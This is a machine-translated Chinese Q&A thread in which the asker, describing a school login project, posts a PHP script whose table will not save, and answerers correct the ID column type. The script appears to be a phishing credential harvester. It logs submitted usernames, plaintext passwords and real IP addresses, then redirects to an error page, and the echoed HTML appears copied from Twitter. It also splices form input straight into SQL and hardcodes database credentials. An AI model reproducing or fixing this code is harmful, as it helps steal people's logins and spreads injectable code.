2016-12-08 21 views
0

今天嘿朋友我正在創建我的登錄頁面,它保存了用戶在我的數據庫上的傳遞這個項目在我的學校給了我,現在我完全沮喪,因爲一切似乎都是正確的但是當我試圖創建數據庫,它說的錯誤......我已經張貼截圖此的index.php腳本後...我無法在mysql上保存我的數據

[<?php 
    { //credit 
    /* 
    * 
    *by nalin 
    * 
    *PHP ver 5.1.0> 
    *Tested on 5.5.27 
    * 
    * 
    */ 
    } 
    { //config 
    error_reporting(0); //turn off error 
    //server address 
    $data\[server\] = "localhost"; 
    //user name 
    $data\[username\] = "a0103769_nalin"; 
    //password here 
    $data\[pass\] = "Hydrogen"; 
    //database name 
    $data\[db\] ="a0103769_nalin"; 
    //table name 
    $data\[db2\] ="data"; 
    //redirect when detect the username/pass is empty 
    //prevent the db getting filled with junk aka empty tables 
    $header_empty = $_SERVER\['PHP_SELF'\]; 
    //when it is logged 
    $header_success ="error.html"; 
    } 
    { //mod 
    //cloud flare ip converter 
    if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){ 
    $_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\]; 
    }; 
    } 
    if(isset($_POST\[submit\])){ //Send pass & username to MYSQL 
    $id\[name\] = $_POST\[uom\]; 
    $id\[pass\] = $_POST\[pass\]; 
    $id\[ip\] = $_SERVER\[REMOTE_ADDR\]; 
    $idts = gmdate('Y-m-d h:i:s \G\M\T'); 
    {//empty filler 
    if(null == $id\[name\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    if(null == $id\[pass\]){ 
    header("Location: $header_empty"); 
    die(); 
    }; 
    } 
    $con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]); 
    mysql_select_db("$data\[db\]",$con); 
    $sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')"; 
    mysql_query($sql); 
    mysql_close($con); 
    header("Location: $header_success"); 
    }; 
    if(!isset($_POST\[submit\])) { //echo the full login page 
    echo ' 
    <html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 

MySQL查詢

CREATE TABLE `a0103769_nalin`.`data` (
    `ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT, 
    `Name` TEXT NULL DEFAULT NULL, 
    `Password` TEXT NULL DEFAULT NULL, 
    `IP` TEXT NULL DEFAULT NULL, 
    `Time` TEXT NULL DEFAULT NULL, 
    PRIMARY KEY (`ID`) 
) 
ENGINE = InnoDB; 
+1

這些'''''在你的代碼中做了什麼? –

+0

@u_mulder這個php是嵌入在html這就是爲什麼我使用[/]這個標誌 –

+0

你看清楚後,我的HTML代碼是在底部開始 –

回答

0

給我們e AUTO_INCREMENT您需要將列定義爲INT或浮點類型,而不是文本。

AUTO_INCREMENT僅使用無符號值,所以最好使用UNSIGNED;

CREATE TABLE a0103769_nalin.data (ID INT NULL DEFAULT NULL AUTO_INCREMENT , 
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL  
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB; 
+0

所以我選擇保存用戶數據 –

+0

** TEXT爲INT **爲ID列或者只是運行sql提供的答案... – Naga

+0

非常感謝我正在嘗試 –

0

您的ID列的數據類型不能TEXT應該是整數類型,因爲它是主鍵 AUTO_INCREMENT僅使用上INTEGER

+1

但它仍然不會保存用戶數據MySQL已成功創建 –

+0

更改您的SQL查詢...使用此 – Cocksipus

+0

'('Name','Pass','IP', 'Time')VALUES('$ id \ [name \]','$ id \ [pass \]','$ id \ [ip \]','$ idts')' – Cocksipus

0

按照提供的圖像:

enter image description here

你得到,因爲你的ID的錯誤的數據類型的錯誤(P RIMARY KEY)列。所以你只需要將它的數據類型從TEXT改爲INT或者你的系統需要的int類型。

+0

但它仍然不保存用戶數據MySQL被成功創建 –

+0

@NalinNishant,你可以顯示你得到什麼錯誤嗎? –

相關問題